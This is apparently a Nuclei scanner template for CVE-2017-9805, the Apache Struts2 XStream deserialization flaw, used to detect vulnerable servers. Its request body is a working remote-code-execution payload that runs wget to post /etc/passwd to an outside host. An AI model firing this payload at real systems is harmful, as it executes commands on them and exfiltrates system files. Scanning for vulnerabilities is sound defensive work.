nuclei-templates/cves/2017/CVE-2017-9805.yaml

96 lines
3.9 KiB
YAML

id: CVE-2017-9805
info:
name: Apache Struts2 S2-052 RCE
author: pikpikcu
severity: high
description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.
reference:
- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
- https://struts.apache.org/docs/s2-052.html
tags: cve,cve2017,apache,rce,struts
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.10
cve-id: CVE-2017-9805
cwe-id: CWE-502
requests:
- method: POST
path:
- "{{BaseURL}}/struts2-rest-showcase/orders/3"
- "{{BaseURL}}/orders/3"
headers:
Content-Type: application/xml
body: |
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>wget</string>
<string>--post-file</string>
<string>/etc/passwd</string>
<string>burpcollaborator.net</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>asdasd</name>
</filter>
<next class="string">asdasd</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
matchers-condition: and
matchers:
- type: word
words:
- "Debugging information"
- "com.thoughtworks.xstream.converters.collections.MapConverter"
condition: and
- type: status
status:
- 500